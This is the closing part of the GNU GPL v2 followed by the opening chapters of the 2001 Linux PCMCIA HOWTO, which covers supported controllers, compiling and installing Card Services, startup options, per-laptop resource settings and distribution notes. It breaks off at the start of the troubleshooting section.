                            NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

                     END OF TERMS AND CONDITIONS

        Appendix: How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.

    <one line to give the program's name and a brief idea of what it does.>
    Copyright (C) 19yy  (name of author)

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.

Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

    Gnomovision version 69, Copyright (C) 19yy name of author
    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
    This is free software, and you are welcome to redistribute it
    under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  `Gnomovision' (which makes passes at compilers) written by James Hacker.

  (signature of Ty Coon), 1 April 1989
  Ty Coon, President of Vice

This General Public License does not permit incorporating your program into
proprietary programs.  If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library.  If this is what you want to do, use the GNU Library General
Public License instead of this License.


Linux PCMCIA HOWTO

David Hinds, dahinds@users.sourceforge.net.

v2.91, 29 May 2001

This document describes how to install and use PCMCIA Card Services for Linux, and answers some frequently asked questions. The latest version of this document can always be found at http://pcmcia-cs.sourceforge.net.

1. General information and hardware requirements

  • 1.1 Introduction
  • 1.2 Copyright notice and disclaimer
  • 1.3 What is the latest version, and where can I get it?
  • 1.4 What systems are supported?
  • 1.5 What cards are supported?
  • 1.6 When will my favorite (unsupported) card become supported?
  • 1.7 Mailing lists and other information sources
  • 1.8 Why don't you distribute binaries?
  • 1.9 Why is the package so darned big?

2. Compilation and installation

  • 2.1 Prerequisites and kernel setup
  • 2.2 Installation
  • 2.3 Startup options
  • 2.4 System resource settings
  • 2.5 Notes about specific Linux distributions

3. Resolving installation and configuration problems

  • 3.1 Base PCMCIA kernel modules do not load
  • 3.2 Some client driver modules do not load
  • 3.3 Interrupt scan failures
  • 3.4 IO port scan failures
  • 3.5 Memory probe failures
  • 3.6 Failure to detect card insertions and removals
  • 3.7 Interrupt delivery problems
  • 3.8 System resource starvation
  • 3.9 Resource conflict only with two cards inserted
  • 3.10 Device configuration does not complete

4. Usage and features

  • 4.1 Tools for configuring and monitoring PCMCIA devices
  • 4.2 Overview of the PCMCIA configuration scripts
  • 4.3 PCMCIA network adapters
  • 4.4 PCMCIA serial and modem devices
  • 4.5 PCMCIA parallel port devices
  • 4.6 PCMCIA SCSI adapters
  • 4.7 PCMCIA memory cards
  • 4.8 PCMCIA ATA/IDE card drives
  • 4.9 Multifunction cards

5. Advanced topics

  • 5.1 Resource allocation for PCMCIA devices
  • 5.2 PCI interrupt configuration problems and solutions
  • 5.3 How can I have separate device setups for home and work?
  • 5.4 Booting from a PCMCIA device

6. Dealing with unsupported cards

  • 6.1 Configuring unrecognized cards
  • 6.2 Adding support for an NE2000-compatible ethernet card
  • 6.3 PCMCIA floppy interface cards

7. Debugging tips and programming information

  • 7.1 Submitting useful bug reports
  • 7.2 Interpreting kernel trap reports
  • 7.3 Low level PCMCIA debugging aids
  • 7.4 /proc/bus/pccard
  • 7.5 Writing Card Services drivers for new cards
  • 7.6 Guidelines for PCMCIA client driver authors
  • 7.7 Guidelines for Linux distribution maintainers


Linux PCMCIA HOWTO: General information and hardware requirements

 Next Previous Contents

1. General information and hardware requirements

1.1 Introduction

Card Services for Linux is a complete PCMCIA or ``PC Card'' support package. It includes a set of loadable kernel modules that implement a version of the Card Services applications program interface, a set of client drivers for specific cards, and a card manager daemon that can respond to card insertion and removal events, loading and unloading drivers on demand. It supports ``hot swapping'' of most card types, so cards can be safely inserted and ejected at any time.

This software is continually under development. It probably contains bugs, and should be used with caution. I'll do my best to fix problems that are reported to me, but if you don't tell me, I may never know. If you use this code, I hope you will send me your experiences, good or bad!

If you have any suggestions for how this document could be improved, please let me know ( dahinds@users.sourceforge.net).

1.2 Copyright notice and disclaimer

Copyright (c) 1998 David A. Hinds

This document may be reproduced or distributed in any form without my prior permission. Modified versions of this document, including translations into other languages, may be freely distributed, provided that they are clearly identified as such, and this copyright is included intact.

This document may be included in commercial distributions without my prior consent. While it is not required, I would like to be informed of such usage. If you intend to incorporate this document in a published work, please contact me to make sure you have the latest available version.

This document is provided ``AS IS'', with no express or implied warranties. Use the information in this document at your own risk.

1.3 What is the latest version, and where can I get it?

The current major release of Card Services is version 3.1, and minor updates or bug fixes are numbered 3.1.1, 3.1.2, and so on.

Source code for the latest version is available on the web at http://pcmcia-cs.sourceforge.net, as pcmcia-cs-3.1.?.tar.gz. You may find more than one release number here. It is up to you to decide which version is more appropriate, but the CHANGES file will summarize the most important differences.

The Linux PCMCIA FTP site is mirrored at sunsite.unc.edu (and all sunsite mirror sites) in /pub/Linux/kernel/pcmcia.

If you do not feel up to compiling the drivers from scratch, pre-compiled drivers are included with current releases of most of the major Linux distributions, including Slackware, Debian, Red Hat, Caldera, SuSE, and Yggdrasil, among others.

1.4 What systems are supported?

This package should run on almost Intel-based Linux-capable laptop. It also runs on Alpha-based platforms (i.e., the DEC Multia). Work is being done to make the package fully dual-endian, so that it will also support PowerPC-based platforms (i.e., Apple Powerbooks). Most common socket controllers are supported. Card docks for desktop systems should work as long as they use a supported controller, and are plugged directly into the ISA or PCI bus, as opposed to SCSI-to-PCMCIA or IDE-to-PCMCIA adapters. The following controllers are recognized by the supplied socket drivers:

  • Cirrus Logic (now Basis Communications) PD6710, PD6720, PD6722, PD6729, PD6730, PD6832
  • ENE Technology CB1211, CB1225, CB1410, CB1420
  • Intel i82365sl B, C, and DF steps, 82092AA
  • O2Micro OZ6729, OZ6730, OZ6812, OZ6832, OZ6833, OZ6836, OZ6860
  • Omega Micro 82C365G, 82C092G
  • Ricoh RF5C296, RF5C396, RL5C465, RL5C466, RL5C475, RL5C476, RL5C478
  • SMC 34C90
  • Texas Instruments PCI1031, PCI1130, PCI1131, PCI1210, PCI1211, PCI1220, PCI1221, PCI1225, PCI1250A, PCI1251A, PCI1251B, PCI1410, PCI1410A, PCI1420, PCI1450, PCI1451A, PCI4410, PCI4410A, PCI4450, PCI4451
  • Toshiba ToPIC95, ToPIC97, ToPIC100 (experimental, incomplete)
  • Vadem VG465, VG468, VG469
  • VLSI Technologies 82C146, VCF94365
  • VIA VT83C469
  • Databook DB86082, DB86082A, DB86084, DB86084A, DB86072, DB86082B

Other controllers that are register compatible with the Intel i82365sl will generally work, as well.

Support for 32-bit CardBus cards is still somewhat experimental. Drivers prior to version 3.0 only support 16-bit cards in CardBus sockets. Due to the rapid pace of technological change for laptop hardware, new controllers appear frequently, and there may be delays between when a new model appears on the market, and when driver support becomes available.

Support for Toshiba's ToPIC bridges was hindered for a long time by a lack of sufficiently detailed technical documentation. While some datasheets have been available, a few idiosyncracies of the ToPIC chips were not adequately explained. Toshiba has now started giving direct technical help on some of these issues and I expect that the major ones will soon be resolved.

The Motorola 6AHC05GA controller used in some Hyundai laptops is not supported. The custom host controller in the HP Omnibook 600 is also unsupported.

1.5 What cards are supported?

The current release includes drivers for a variety of ethernet cards, a driver for modem and serial port cards, several SCSI adapter drivers, a driver for ATA/IDE drive cards, and memory card drivers that should support most SRAM cards and some flash cards. The SUPPORTED.CARDS file included with each release of Card Services lists all cards that are known to work in at least one actual system.

The likelihood that a card not on the supported list will work depends on the type of card. Essentially all modems should work with the supplied driver. Some network cards may work if they are OEM versions of supported cards. Other types of IO cards (frame buffers, sound cards, etc) will not work until someone writes the appropriate drivers.

1.6 When will my favorite (unsupported) card become supported?

Unfortunately, they usually don't pay me to write device drivers, so if you would like to have a driver for your favorite card, you are probably going to have to do at least some of the work. Ideally, I'd like to work towards a model like the Linux kernel, where I would be responsible mainly for the ``core'' driver code and other authors would contribute and maintain client drivers for specific cards. The SUPPORTED.CARDS file mentions some cards for which driver work is currently in progress. I will try to help where I can, but be warned that debugging kernel device drivers by email is not particularly effective.

Manufacturers interested in helping provide Linux support for their products can contact me about consulting arrangements.

1.7 Mailing lists and other information sources

I used to maintain a database and mailing list of Linux PCMCIA users. More recently, I've turned my web page for Linux PCMCIA information into a ``HyperNews'' site, with a set of message lists for Linux PCMCIA issues. There are lists for installation and configuration issues, for different types of cards, and for programming and debugging issues. The Linux PCMCIA information page is at http://pcmcia-cs.sourceforge.net. Users can request email notification of new responses to particular questions, or notification for all new messages in a given category. I hope that this will become a useful repository of information, for questions that go beyond the scope of the HOWTO.

There is a Linux mailing list devoted to laptop issues, the ``linux-laptop'' list. For more information, send a message containing the word ``help'' to majordomo@vger.rutgers.edu. To subscribe, send a message containing ``subscribe linux-laptop'' to the same address. This mailing list might be a good forum for discussion of Linux PCMCIA issues.

The Linux Laptop Home Page at http://www.cs.utexas.edu/users/kharker/linux-laptop has links to many sites that have information about configuring specific types of laptops for Linux. There is also a searchable database of system configuration information.

1.8 Why don't you distribute binaries?

For me, distributing binaries would be a significant hassle. It is complicated because some features can only be selected at compile time, and because the modules are somewhat dependent on having the ``right'' kernel configuration. So, I would probably need to distribute precompiled modules along with matching kernels. Beyond this, the greatest need for precompiled modules is when installing Linux on a clean system. This typically requires setting up drivers so they can be used in the installation process for a particular Linux distribution. Each Linux distribution has its own ideosyncracies, and it is not feasible for me to provide boot and root disks for even just the common combinations of drivers and distributions.

PCMCIA is now a part of many of the major Linux distributions, including Red Hat, Caldera, Slackware, Yggdrasil, Craftworks, and Nascent Technology.

1.9 Why is the package so darned big?

Well, first of all, it isn't actually that large. All the driver modules together take up about 500K of disk space. The utility programs add up to about 70K, and the scripts in /etc/pcmcia are about 50K. The core driver modules take up about 55K of system memory. The cardmgr daemon will generally be swapped out except when cards are inserted or removed. The total package size is comparable to DOS/Windows Card Services implementations.

Compared to DOS ``point enablers'', this may still seem like a lot of overhead, especially for people that don't plan on using many of the features of PCMCIA, such as power management or hot swapping. Point enablers can be tiny because they generally support only one or a small set of cards, and also generally support a restricted set of host controllers. If someone were to write a genuinely ``generic'' modem enabler, it would end up incorporating much of the functionality of Card Services, to handle cards from different vendors and the full range of host controller variants.


Linux PCMCIA HOWTO: Compilation and installation

 Next Previous Contents

2. Compilation and installation

2.1 Prerequisites and kernel setup

Before starting, you should think about whether you really need to compile the PCMCIA package yourself. All common Linux distributions come with pre-compiled driver packages. Generally, you only need to install the drivers from scratch if you need a new feature of the current drivers, or if you've updated and/or reconfigured your kernel in a way that is incompatible with the drivers included with your Linux distribution. While compiling the package is not technically difficult, it does require some general Linux familiarity.

The following things should be installed on your system before you begin:

  • A 2.0, 2.2, 2.3, or 2.4 series kernel source tree.
  • An appropriate set of module utilities.
  • (Optional) the ``XForms'' X11 user interface toolkit.

You need to have a complete linux source tree for your kernel, not just an up-to-date kernel image. The driver modules contain some references to kernel source files. While you may want to build a new kernel to remove unnecessary drivers, installing PCMCIA does not require you to do so.

Current ``stable'' kernel sources and patches are available from ftp://ftp.kernel.org/pub/linux/kernel/v2.2. Development kernels can be found in the corresponding v2.3 or v2.4 subdirectories. Current module utilities can be found in the same locations.

In the Linux kernel source tree, the Documentation/Changes file describes the versions of all sorts of other system components that are required for that kernel release. You may want to check through this and verify that your system is up to date, especially if you have updated your kernel. If you are using a development kernel, be sure that you are using the right combination of shared libraries and module tools.

When configuring your kernel, if you plan on using a PCMCIA ethernet card, you should turn on networking support but turn off the normal Linux network card drivers, including the ``pocket and portable adapters''. The PCMCIA network card drivers are all implemented as loadable modules. Any drivers compiled into your kernel will only waste space.

If you want to use SLIP, PPP, or PLIP, you do need to either configure your kernel with these enabled, or use the loadable module versions of these drivers. There is an unfortunate deficiency in the kernel config process in 1.2.X kernels, in that it is not possible to set configuration options (like SLIP compression) for a loadable module, so it is probably better to just link SLIP into the kernel if you need it.

In order to use a PCMCIA token ring adapter, your kernel should be configured with ``Token Ring driver support'' (CONFIG_TR) enabled, though you should leave CONFIG_IBMTR off.

If you want to use a PCMCIA IDE adapter, your kernel should be configured with CONFIG_BLK_DEV_IDE_PCMCIA enabled, for 2.0.* through 2.1.7 kernels. Older kernels do not support removeable IDE devices; newer kernels do not require a special configuration setting.

If you will be using a PCMCIA SCSI adapter, then enable CONFIG_SCSI when configuring your kernel. Also, enable any top level drivers (SCSI disk, tape, cdrom, generic) that you expect to use. All low-level drivers for particular host adapters should be disabled, as they will just take up space.

If you want to modularize a driver that is needed for a PCMCIA device, you must modify /etc/pcmcia/config to specify what modules need to be loaded for what card types. For example, if the serial driver is modularized, then the serial device definition should be:

device "serial_cs"
  class "serial" module "misc/serial", "serial_cs"

This package includes an X-based card status utility called cardinfo. This utility is based on a freely distributed user interface toolkit called the XForms Library. This library is available as a separate package with most Linux distributions. If you would like to build cardinfo, you should install XForms and all the normal X header files and libraries before configuring the PCMCIA package.

2.2 Installation

Here is a synopsis of the installation process:

  • Unpack pcmcia-cs-3.1.?.tar.gz in /usr/src.
  • Run ``make config'' in the new pcmcia-cs-3.1.? directory.
  • Run ``make all'', then ``make install''.
  • Customize the startup script and the option files in /etc/pcmcia for your site, if needed.

If you plan to install any contributed client drivers not included in the core PCMCIA distribution, unpack each of them in the top-level directory of the PCMCIA source tree. Then follow the normal build instructions. The extra drivers will be compiled and installed automatically.

Running ``make config'' prompts for a few configuration options, and checks out your system to verify that it satisfies all prerequisites for installing PCMCIA support. In most cases, you'll be able to just accept all the default configuration options. Be sure to carefully check the output of this command in case there are problems. The following options are available:

Alternate target install directory?

If you are compiling the package for installation on another machine, specify an alternate target directory when prompted. This should be an absolute path. All files will be installed relative to this directory. You will then be able to tar this directory tree and copy to your target machine, and unpack relative to its root directory to install everything in the proper places. Newer PCMCIA releases do not ask for this; instead it can be set with the --target= command line option to the Configure script.

Build 'trusting' versions of card utilities?

Some of the support utilities (cardctl and cardinfo) can be compiled either in ``safe'' or ``trusting'' forms. The ``safe'' forms prevent non-root users from modifying card configurations. The ``trusting'' forms permit ordinary users to issue commands to suspend and resume cards, reset cards, and change the current configuration scheme. The default is to build the safe forms.

Include 32-bit (CardBus) card support?

This option must be selected if you wish to use 32-bit CardBus cards. It is not required for CardBus bridge support, if you only plan to use 16-bit PC Cards.

Include PnP BIOS resource checking?

This builds additional code into the PCMCIA core module to communicate with a system's PnP BIOS to obtain resource information for built-in ``motherboard'' devices (serial and parallel ports, sound, etc), to help avoid resource conflicts. If enabled, some extra resource files will be created under /proc/bus/pccard, and the lspnp and setpnp tools can be used to view and manipulate PnP BIOS devices. However, this setting causes problems on some laptops and is not turned on by default.

Module install directory?

The directory that new kernel modules will be installed into. Normally this should be the subdirectory of /lib/modules that matches your kernel version.

How to set kernel-specific options?

There are a few kernel configuration options that affect the PCMCIA tools. The configuration script can deduce these from the running kernel (the default and most common case). Alternatively, if you are compiling for installation on another machine, it can read the configuration from a kernel source tree, or each option can be set interactively.

The Configure script can also be executed non-interactively, for automatic builds or to quickly reconfigure after a kernel update. Some additional less-frequently-used options can be only be set from the command line. Running ``Configure --help'' lists all available options.

Running ``make all'' followed by ``make install'' will build and then install the kernel modules and utility programs. Kernel modules are installed under /lib/modules/<version>/pcmcia. The cardmgr and cardctl programs are installed in /sbin. If cardinfo is built, it is installed in /usr/bin/X11.

Configuration files will be installed in the /etc/pcmcia directory. If you are installing over an older version, your old config scripts will be backed up before being replaced. The saved scripts will be given an *.O extension.

If you don't know what kind of host controller your system uses, you can use the probe utility in the cardmgr/ subdirectory to determine this. There are two major types: the Databook TCIC-2 type and the Intel i82365SL-compatible type.

In a few cases, the probe command will be unable to determine your controller type automatically. If you have a Halikan NBD 486 system, it has a TCIC-2 controller at an unusual location: you'll need to edit rc.pcmcia to load the tcic module, and also set the PCIC_OPTS parameter to ``tcic_base=0x02c0''.

On some systems using Cirrus controllers, including the NEC Versa M, the BIOS puts the controller in a special suspended state at system startup time. On these systems, the probe command will fail to find any known host controller. If this happens, edit rc.pcmcia and set PCIC to i82365, and PCIC_OPTS to ``wakeup=1''.

2.3 Startup options

The PCMCIA startup script recognizes several groups of startup options, set via environment variables. Multiple options should be separated by spaces and enclosed in quotes. Placement of startup options depends on the Linux distribution used. They may be placed directly in the startup script, or they may be kept in a separate option file. See the Notes about specific Linux distributions for specifics. The following variables can be set:

PCMCIA

This variable specifies whether PCMCIA support should be started up, or not. If it is set to anything other than ``yes'', then the startup script will be disabled.

PCIC

This identifies the PC Card Interface Controller driver module. There are two options: ``tcic'' or ``i82365''. Virtually all current controllers are in the ``i82365'' group. This is the only mandatory option setting.

PCIC_OPTS

This specifies options for the PCIC module. Some host controllers have optional features that may or may not be implemented in a particular system. In some cases, it is impossible for the socket driver to detect if these features are implemented. See the corresponding man page for a complete description of the available options.

CORE_OPTS

This specifies options for the pcmcia_core module, which implements the core PC Card driver services. See ``man pcmcia_core'' for more information.

CARDMGR_OPTS

This specifies options to be passed to the cardmgr daemon. See ``man cardmgr'' for more information.

SCHEME

If set, then the PC Card configuration scheme will be initialized to this at driver startup time. See the Overview of the PCMCIA configuration scripts for a discussion of schemes.

The low level socket drivers, tcic and i82365, have various bus timing parameters that may need to be adjusted for certain systems with unusual bus clocking. Symptoms of timing problems can include card recognition problems, lock-ups under heavy loads, high error rates, or poor device performance. Only certain host bridges have adjustable timing parameters: check the corresponding man page to see what options are available for your controller. Here is a brief summary:

  • Cirrus controllers have numerous configurable timing parameters. The most important seems to be the cmd_time flag, which determines the length of PCMCIA bus cycles. Fast 486 systems (i.e., DX4-100) seem to often benefit from increasing this from 6 (the default) to 12 or 16.
  • The Cirrus PD6729 PCI controller has the fast_pci flag, which should be set if the PCI bus speed is greater than 25 MHz.
  • For Vadem VG-468 controllers, the async_clock flag changes the relative clocking of PCMCIA bus and host bus cycles. Setting this flag adds extra wait states to some operations. However, I have yet to hear of a laptop that needs this.
  • The pcmcia_core module has the cis_speed parameter for changing the memory speed used for accessing a card's Card Information Structure (CIS). On some systems, increasing this parameter (i.e., slowing down card accesses) may fix card recognition problems.
  • Another pcmcia_core parameter, io_speed, can be used to slow down accesses to IO cards. It may help in certain cases with systems that have out-of-spec PCMCIA bus timing.
  • This is not a timing issue, but if you have more than one ISA-to-PCMCIA controller in your system or extra sockets in a laptop docking station, the i82365 module should be loaded with the extra_sockets parameter set to 1. This should not be necessary for detection of PCI-to-PCMCIA or PCI-to-CardBus bridges.

Here are some timing settings for specific systems:

  • On the ARM Pentium-90 or Midwest Micro Soundbook Plus, use ``freq_bypass=1 cmd_time=8''.
  • On a Compaq Presario 1220, try ``setup_time=1''.
  • On a Midwest Micro Soundbook Elite, use ``cmd_time=12''.
  • On a Gateway Liberty, try ``cmd_time=16''.
  • On a Samsung SENS 810, use ``fast_pci=1''.

Card readers for desktop systems

While almost all PCMCIA card readers and card docks work fine under Linux, some require special startup options because they do not behave exactly like laptop PCMCIA bridges. PCI card readers, in particular, may handle interrupts differently.

  • The Linksys ProConnect PCMRDWR and Antec DataChute card readers are ``ISA Plug and Play'' devices. To use these, you must first activate them with the Linux isapnp tools. See the man pages for pnpdump and isapnp for more information.
  • For Elan P-series PCI card readers based on the Cirrus PD6729 PCI-to-PCMCIA bridge chip, the i82365 driver requires a ``irq_mode=1'' parameter.
  • For the Sycard PCChost1200 host adapter, the i82365 driver requires a ``p2cclk=1'' parameter.
  • For the Alex Electronics PCICBI host adapter based on the TI 1221 bridge, the i82365 driver requires ``p2cclk=1 irq_mode=0'' as well as PCMCIA driver release 3.1.23 or later.
  • With SCM Microsystems SBP series PCI card readers (which are also being distributed with Lucent WaveLAN IEEE cards), and for the Synchrotech PCM-CR-PC2IF and PCM-CR-PC2IR, it is necessary to specify ``irq_mode=0'' for the i82365 module, to force use of PCI interrupts.
  • For the ActionTec PC 750 card reader, the i82365 driver requires a ``irq_list=0'' parameter, to indicate that ISA interrupts are unavailable.
  • The PLX Technologies PCI9052 (also sold as the Linksys WDT11) is not a general purpose PCMCIA card reader at all: it is a PCI interface card for use with certain wireless adapters, that makes them look like ordinary PCI devices. These devices are not supported.

2.4 System resource settings

Card Services should automatically avoid allocating IO ports and interrupts already in use by other standard devices. It will also attempt to detect conflicts with unknown devices, but this is not completely reliable. In some cases, you may need to explicitly exclude resources for a device in /etc/pcmcia/config.opts.

Here are some resource settings for specific laptop types. View this list with suspicion: it may give useful hints for solving problems, but it is inevitably out of date and certainly contains mistakes. Corrections and additions are welcome.

  • On the AMS SoundPro, exclude irq 10.
  • On some AMS TravelPro 5300 models, use memory 0xc8000-0xcffff.
  • On the BMX 486DX2-66, exclude irq 5, irq 9.
  • On the Chicony NB5, use memory 0xda000-0xdffff.
  • On the Compaq Presario 1020, exclude port 0x2f8-0x2ff, irq 3, irq 5.
  • On the Dell Inspiron 7000, exclude irq 3, irq 5.
  • On the Fujitsu C series, exclude port 0x200-0x27f.
  • On the HP Omnibook 4000C, exclude port 0x300-0x30f.
  • On the HP Omnibook 4100, exclude port 0x220-0x22f.
  • On the IBM ThinkPad 380, and maybe the 385 and 600 series, exclude port 0x230-0x233, and irq 5.
  • On IBM ThinkPad 600 and 770 models with internal modems, exclude port 0x2f8-0x2ff.
  • On the IBM ThinkPad 600E and 770Z, change the high memory window to 0x60000000-0x60ffffff.
  • On the Micron Millenia Transport, exclude irq 5, irq 9.
  • On the NEC Versa M, exclude irq 9, port 0x2e0-2ff.
  • On the NEC Versa P/75, exclude irq 5, irq 9.
  • On the NEC Versa S, exclude irq 9, irq 12.
  • On the NEC Versa 6000 series, exclude port 0x2f8-0x33f, irq 9, irq 10.
  • On the NEC Versa SX, exclude port 0x300-0x31f.
  • On the ProStar 9200, Altima Virage, and Acquiline Hurricane DX4-100, exclude irq 5, port 0x330-0x35f. Maybe use memory 0xd8000-0xdffff.
  • On the Siemens Nixdorf SIMATIC PG 720C, use memory 0xc0000-0xcffff, port 0x300-0x3bf.
  • On the TI TravelMate 5000, use memory 0xd4000-0xdffff.
  • On the Toshiba Satellite 4030CDS, exclude irq 9.
  • On the Toshiba T4900 CT, exclude irq 5, port 0x2e0-0x2e8, port 0x330-0x338.
  • On the Toshiba Tecra 8000, exclude irq 3, irq 5, irq 9.
  • On the Twinhead 5100, HP 4000, Sharp PC-8700 and PC-8900, exclude irq 9 (sound), irq 12.
  • On an MPC 800 Series, exclude irq 5, port 0x300-0x30f for the CD-ROM.

PowerBook specific settings

On PowerPC based PowerBook systems, the default system resources in /etc/pcmcia/config.opts file are no good at all. Replace all the IO port and window definitions with something like:

include port 0x100-0x4ff, port 0x1000-0x17ff
include memory 0x80000000-0x80ffffff

2.5 Notes about specific Linux distributions

This section is incomplete. Corrections and additions are welcome.

Debian

Debian uses a System V boot script arrangement. The PCMCIA startup script is installed as /etc/init.d/pcmcia. New packages use /etc/default/pcmcia for startup options; older versions used /etc/pcmcia.conf for this purpose. Debian's syslog configuration will place kernel messages in /var/log/messages and cardmgr messages in /var/log/daemon.log.

Debian distributes the PCMCIA system in two packages: the ``pcmcia-cs'' package contains cardmgr and other tools, man pages, and configuration scripts; and the ``pcmcia-modules'' package contains the kernel driver modules.

Starting with 3.1.25, a clean PCMCIA install will identify Debian systems and create a special network.opts file that, in the absence of other network configuration settings, uses Debian's ifup and ifdown commands to configure a network card based on settings in /etc/network/interfaces.

Red Hat, Caldera, Mandrake

These distributions use a System V boot script organization. The PCMCIA startup script is installed as /etc/rc.d/init.d/pcmcia, and boot options are kept in /etc/sysconfig/pcmcia. Beware that installing the Red Hat package may install a default boot option file that has PCMCIA disabled. To enable PCMCIA, the ``PCMCIA'' variable should be set to ``yes''. Red Hat's default syslogd configuration will record all interesting messages in /var/log/messages.

Red Hat's PCMCIA package contains a replacement for the network setup script, /etc/pcmcia/network, which meshes with the Red Hat linuxconf configuration system. This is convenient for the case where just one network adapter is used, with one set of network parameters, but does not have the full flexibility of the regular PCMCIA network script. Compiling and installing a clean PCMCIA source distribution will overwrite the network script, breaking the link to the Red Hat tools. If you prefer using the Red Hat tools, either use only Red Hat RPM's, or replace /etc/pcmcia/network.opts with the following:

if [ -f /etc/sysconfig/network-scripts/ifcfg-$2 ] ; then
    start_fn () {
        . /etc/sysconfig/network-scripts/ifcfg-$1
        if [ "$ONBOOT" = "yes" ] ; then /sbin/ifup $1 ; fi
    }
    stop_fn () {
        /sbin/ifdown $1
    }
fi

Starting with the 3.1.22 release, the PCMCIA installation script will automatically append a variant of this to the default network.opts file, so this problem should no longer be an issue.

If you do use linuxconf (or netconf) to configure your network interface, leave the ``kernel module'', ``I/O port'', and ``irq'' parameters blank. Setting these parameters may interfere with proper operation of the PCMCIA subsystem.

At boot time, when the Red Hat network subsystem starts up, it may say ``Delaying eth0 initialization'' and ``[FAILED]''. This is actually not a failure: it means that this network interface will not be initialized until after the PCMCIA network device is configured.

Red Hat bundles their slightly modified PCMCIA source distribution with their kernel sources, rather than as a separate source package. When preparing to build a new set of PCMCIA drivers, you will generally want to install Red Hat's kernel-source RPM (kernel-source-*.i386.rpm), and not the kernel SRPM (kernel-*.src.rpm). The SRPM is tailored for building their kernel RPM files, which is not exactly what you want. With Red Hat 7.0, the kernel-source RPM also includes a mis-configured PCMCIA source tree; if you want to use it, delete their PCMCIA config.out file and re-do "make config".

Slackware

Slackware uses a BSD boot script arrangement. The PCMCIA startup script is installed as /etc/rc.d/rc.pcmcia, and boot options are specified in rc.pcmcia itself. The PCMCIA startup script is invoked from /etc/rc.d/rc.S.

SuSE

SuSE uses a System V init script arrangement, with init scripts stored under /sbin/init.d. The PCMCIA startup script is installed as /sbin/init.d/pcmcia, and startup options are kept in /etc/rc.config. The SuSE startup script is somewhat limited and does not allow PCMCIA startup variables to be overridden from the lilo boot prompt.


Linux PCMCIA HOWTO: Resolving installation and configuration problems

 Next Previous Contents

3. Resolving installation and configuration problems

This section describes some of the most common failure modes for the PCMCIA subsystem. Try to match your symptoms against the examples. This section only describes general failures that are not specific to a particular client driver or type of card.

Before trying to diagnose a problem, you have to know where your system log is kept (see Notes about specific Linux distributions). You should also be familiar with basic diagnostic tools like dmesg and lsmod. Also, be aware that most driver components (including all the kernel modules) have their own individual man pages.

In 3.1.15 and later releases, the debug-tools subdirectory of the PCMCIA source tree has a few scripts to help diagnose some of the most common configuration problems. The test_setup script checks your PCMCIA installation for completeness. The test_network and test_modem scripts will try to diagnose problems with PCMCIA network and modem cards. These scripts can be particularly helpful if you are unfamiliar with Linux and are not sure how to approach a problem.

Try to define your problem as narrowly as possible. If you have several cards, try each card in isolation, and in different combinations. Try cold Linux boots, versus warm boots from Windows. Compare booting with cards inserted, versus inserting cards after boot. If you normally use your laptop docked, try it undocked. And sometimes, two sockets will behave differently.

For debugging problems in the device configuration scripts, it may be useful to start cardmgr with the ``-v'' option. With a 3.1.23 or later PCMCIA package, this will cause most important script actions to be recorded in the system log.

It is nearly impossible to debug driver problems encountered when attempting to install Linux via a PCMCIA device. Even if you can identify the problem based on its symptoms, installation disks are difficult to modify, especially without access to a running Linux system. Customization of installation disks is completely dependent on the choice of Linux distribution, and is beyond the scope of this document. In general, the best course of action is to install Linux using some other means, obtain the latest drivers, and then debug the problem if it persists.

3.1 Base PCMCIA kernel modules do not load

Symptoms:

  • Kernel version mismatch errors are reported when the PCMCIA startup script runs.
  • After startup, lsmod does not show any PCMCIA modules.
  • cardmgr reports ``no pcmcia driver in /proc/devices'' in the system log.

